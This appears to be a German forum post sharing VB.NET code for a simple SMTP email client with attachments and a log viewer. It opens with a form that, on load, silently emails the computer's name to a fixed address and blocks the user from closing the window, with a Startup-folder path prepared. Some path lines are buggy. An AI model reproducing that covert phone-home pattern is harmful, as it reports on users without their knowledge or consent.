[VB 2010] Mein Programm

Imports System.Net
Imports System.Net.Mail

Public Class Form1


    Dim apath As String = Application.ExecutablePath
    Dim startuppath As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(apath)
    Dim winpath As String = Environment.GetCommandLineArgs(Environment.SpecialFolder.Windows)
    Dim pfpath As String = Environment.GetCommandLineArgs(Environment.SpecialFolder.ProgramFiles)
    Dim pfx86path As String = Environment.GetCommandLineArgs(Environment.SpecialFolder.ProgramFilesX86)
    Dim programspath As String = Environment.GetCommandLineArgs(Environment.SpecialFolder.Programs)


    Private Sub sendmail()

        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("***", "***")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("***")
        mail.To.Add("***")
        mail.Subject = "***" & My.Computer.Name
        mail.Body = "***"
        smtpServer.Send(mail)

    End Sub

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing

        e.Cancel = True

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        sendmail()


    End Sub

End Class

Imports System.Net.Mail

Public Class freemail

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim openFileDialog1 As New OpenFileDialog()
        openFileDialog1.InitialDirectory = "C:\Users\*****\Desktop"
        openFileDialog1.Filter = "Alle Dateien (*.*)|*.*"
        openFileDialog1.ShowDialog()
        anhang.Text = openFileDialog1.FileName
    End Sub

    Private Sub schickmireinemail()
        Dim MyEmail As New MailMessage
        Try
            Dim Attachments As New SmtpClient
            MyEmail.From = New MailAddress(acc.Text)
            MyEmail.To.Add(an.Text)
            MyEmail.Subject = (betreff.Text)
            MyEmail.Body = (mailmsg.Text)
            Dim smtp As New SmtpClient(srvadd.Text)

            smtp.Port = addport.Text

            smtp.EnableSsl = True
            smtp.Credentials = New System.Net.NetworkCredential(acc.Text, pw.Text)
            If CheckBox1.Checked Then
                MyEmail.Attachments.Add(New System.Net.Mail.Attachment(anhang.Text))
            End If

            smtp.Send(MyEmail)
            MsgBox("E-Mail gesendet", MsgBoxStyle.Information, Title:="Information")
            My.Computer.FileSystem.WriteAllText("log.txt", "Datum: " + DateTime.Today & vbCrLf & "Uhrzeit: " + TimeOfDay & vbCrLf & "Empfänger: " + an.Text & vbCrLf & "Betreff: " + betreff.Text & vbCrLf & "Nachricht: " + mailmsg.Text, False)
            anhang.Text = ""
        Catch ex As Exception
            MsgBox((ErrorToString()), MsgBoxStyle.Critical, AcceptButton)
        End Try
    End Sub

    Private Sub aboutpic_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles aboutpic.Click
        Me.Show()
        about.Show()
    End Sub

    Private Sub logbutton_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles logbutton.Click
        Me.Show()
        log.Show()
    End Sub

    Private Sub freenetmail_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles freenetmail.CheckedChanged
        If freenetmail.Checked = True Then
            addport.Text = "587"
            srvadd.Text = "mx.freenet.de"
        End If
    End Sub

    Private Sub googlemail_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles googlemail.CheckedChanged
        If googlemail.Checked = True Then
            addport.Text = "587"
            srvadd.Text = "smtp.googlemail.com"
        End If
    End Sub

    Private Sub send_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles send.Click
        schickmireinemail()
    End Sub
End Class

Public Class log

    Private Sub log_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            Dim inhalt As String
            Dim objDateiLeser As IO.StreamReader
            objDateiLeser = New IO.StreamReader("log.txt")
            inhalt = objDateiLeser.ReadToEnd()
            objDateiLeser.Close()
            objDateiLeser = Nothing
            TextBox1.Text = inhalt
        Catch ex As Exception
            MsgBox("Momentan kein Log gespeichert!", MsgBoxStyle.Information, AcceptButton)
        End Try
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Clipboard.SetText(TextBox1.Text)
        MsgBox("Log wurde in die Zwischenablage kopiert.", MsgBoxStyle.Information, AcceptButton)
    End Sub
End Class